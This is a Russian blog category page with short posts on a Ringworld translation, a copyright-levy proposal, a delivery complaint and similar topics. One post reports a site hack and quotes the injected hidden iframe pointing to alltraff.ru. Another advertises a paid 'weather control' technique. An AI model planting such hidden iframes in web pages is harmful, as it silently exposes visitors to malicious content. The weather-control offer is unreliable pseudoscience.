Category: технологии

Category was added automatically. Read all entries about "технологии".

dark

Ларри Нивен. Мир-кольцо

Полистал новый "азбучный" перевод "Мира-кольца", правда осилил лишь три главы: слишком хорошо помню текст, поэтому перечитывание пока скучновато.
Хороший перевод (да и Кирилл Плешков - хороший переводчик), но со своими тараканами.
Для получения сходного результата достаточно было отредактировать любой из нескольких вполне приличных имеющихся переводов (но я уже объяснял, зачем издательства делают это).

На чем задержался взгляд:

1. Не понял, почему "slidewalks" это траволаторы, да еще со сноской, разъясняющей термин.
(Именно сноска особенно смущает...)

2. Кукольник сказал: "Мы открыли способ управлять сетью" - явно не верная интерпретация, ведь именно кукольники передали людям эту технологию.

3. Почему язык Interworld стал "интерлингвой" ?

4. "Именно я на одной из планет Беты Лиры" - у беты Лиры была только одна планета.

5. Finagle fool you all переведено как "А, чтоб вас!" Интересно, как это согласовано с "Защитником" (имею в виду "азбучный"), из которого терминология?

6. it was over a mile in diameter = "диаметр его составлял почти милю".
Но этот момент вообще не вполне понятен: диаметр корпуса №4 составляет 300 метров, в рассказе "Возле ядра" про него говорится "прозрачная сфера диаметром в тысячу с лишним футов".

7. Finagle's red claws! = "Во имя красных когтей Финейгла!" (теперь он стал Финейглом! не всякий, не читавший "Защитника", догадается, что имеется в виду Finagle's Law)

8. Sleeping plates - почему-то "спальные панели".
Спальное место в мирах Известного Космоса устроено так: это две большие пластины, разделенные заметным пространством, в котором (между ними) они создают невесомость - чтобы можно было спать, сплетясь между собой в любых позах.

Для справки: "АСТовский" перевод, с мелкими более поздними правками (в основном из-за более поздних переводов некоторых рассказов):
https://klf.website/Texts/LarryNiven01

bogdamir_r2

новая антипиратская инициатива

Две крупнейшие организации по управлению авторскими правами, РАО и РСП, объединились и заручились поддержкой Минкульта в новой "антипиратской" инициативе под названием "Глобальная лицензия", суть которой в следующем:

1. В Интернете вводится коллективное управление авторскими правами на "музыкальные произведения и фонограммы, аудиовизуальные произведения и произведения литературы".

2. Весь авторский контент будет описан в "реестре цифровых форм результатов творческой деятельности". Реестр будет вести "аккредитованная государством организация по коллективному управлению правами".

3. Пользователи, заключая с оператором связи договор на предоставление доступа к Интернету, будут "автоматически" давать согласие на заключение лицензионного договора на "возможность свободного обмена в Сети неограниченным количеством обнародованных произведений, а также фонограмм". При этом "лицензионный платеж включается в стоимость услуг доступа к Сети". Ставку должно определить правительство.

Минкульт отмечает, что "такого инструмента нет ни в России, ни в других странах". Совершенно революционная технология, выводящая Россию на передовые позиции.

4. Выплаты правообладателям рассчитываются исходя из популярности контента и в зависимости от типа контента.

5. Востребованность контента определяется с помощью специального оборудования, которое будет анализировать медиатрафик и идентифицировать в нем конкретные произведения (на основе DPI). Такое оборудование аккредитованная организация (по управлению правами) установит каждому оператору связи за свой счёт.

Эта идея еще не оформлена в законопроект, на текущий момент первый заместитель председателя правительства Игорь Шувалов отдал распоряжение нескольким министерствам проработать ее.

Сайт этого проекта: http://global-license.ru/

Как уверяют инициаторы, "глобальная лицензия" вероятно будет обходиться каждому пользователю в 300 руб. в год, а общие сборы составят 860 млн долларов в год. (По данным Минкульта, в России насчитывается около 130 млн интернет-абонентов, а доллар стоит 45 рублей.)

Минкультуры предполагает до конца 2014 года провести совещание с участием всех ведомств, обсудить доработанную концепцию и затем оформить ее в законопроект.
http://regulation.gov.ru/project/21397.html

Collapse )

dark

острожно, взлом!

Взломали сайт convent.ru

Робот, зашедший из Куала-Лумпур, Малайзия, (IP 203.121.78.56) вставил во все index.html строчку:

<iframe src='http://alltraff.ru/iframe.php' width='1' height='1' style='visibility: hidden;'></iframe>

Основные подозрения - на утилиту, использованную вебмастером для создания оглавления каталога:
http://www.convent.ru/photo/abs2002_l/
(фотографии lartis с АБС-премии 2002 года)

(tamargochi, ты при пользовании программой никуда не вводила ей пароль?)

Особая благодарность worder за бдительность!

Upd: программа, скорее всего, не виновата; признавайтесь, из тех, кто имел доступ, кто нашел у себя вирус?

dark

ЭТО доставка

(или как я остался без холодильника)

На даче у меня нет холодильника - и это неудобно. В субботу у меня была транспортная оказия, и можно было бы его доставить. Поэтому я заглянул в ближайший супермаркет электроники - "ЭТО", примерно в 500 м от места обитания. Цены вполне устраивали, и я заказал на пятницу доставку. (Сразу же обратив внимание на элемент обмана: в самом супермаркете забрать холодильник нельзя, он у них "на складе", где-то далеко, и подъехать туда тоже нельзя, можно только заказать платную доставку. Меня, впрочем, это устраивало.)

В пятницу холодильник не доставили. Диспетчер магазина на вечерний звонок, перед окончанием их рабочего времени, ответила: "Ждите, сегодня доставят".

В субботу диспетчер пообещала разобраться, куда делся холодильник, и перезвонить. Не перезвонила.

В воскресенье позвонил доставщик и спросил, когда можно сегодня привезти. Я объяснил, что сегодня я не в Москве. Он пообещал доставку в понедельник и что сегодня вечером позвонит для уточнения. Не позвонил.

В понедельник никто не позвонил.

После этого я пошел в магазин разобраться. Мне предложили назначить новый день для доставки (не сегодня и не завтра) - т.е. начать всё с начала.

Деньги вернули без малейших возражений - видимо, не впервой.

P.S. Видимо, "ЭТО" - подразделение "Эльдорадо".

dark

кингятина

из вчерашней беседы про переводы Стивена Кинга:

"Раз это пишет компьютер [не секрет, что с начала 90-х он занимается почти исключительно литобработкой компьютерного продукта], пусть компьютер это и переводит. И пусть роботы это и читают!.."
dark

Управление погодой

Система управления погодой

Предлагаю тебе освоить систему управления погодой. Простая и доступная каждому, система входит в начальный курс освоения Лайя-Йоги.

Стоимость полного описания технологии управления погодой - 150 US$
(Предлагается здесь)
dark

Переслегин о терроризме

Как-то довелось мне послушать лекцию Переслегина про то, что современное развитие технологий таково, что техногенные катастрофы - надо воспринимать как обыденность, ибо производственные процессы - сложны, а подготовить НЕОБХОДИМОЕ для безкатастрофного использования технологий количество специалистов - цивилизация в современном ее состоянии не способна.

Это было еще до громких терактов. Но сейчас Переслегин наверняка обратил бы внимание, что терроризм - это тоже всего лишь один из аспектов этой ситуации: цивилизация неспособна обеспечить, чтобы все, кому дали доступ к военным "высоким технологиям", были достаточно цивилизованными.
dark

(no subject)

Получил по интернету "письмо счастья", отправленное в 1254 году и к настоящему моменту, благодаря современным электронным технологиям, обошедшее свет уже 447 раз. Мне кажется, у отправителя что-то с физикой или математикой не в порядке...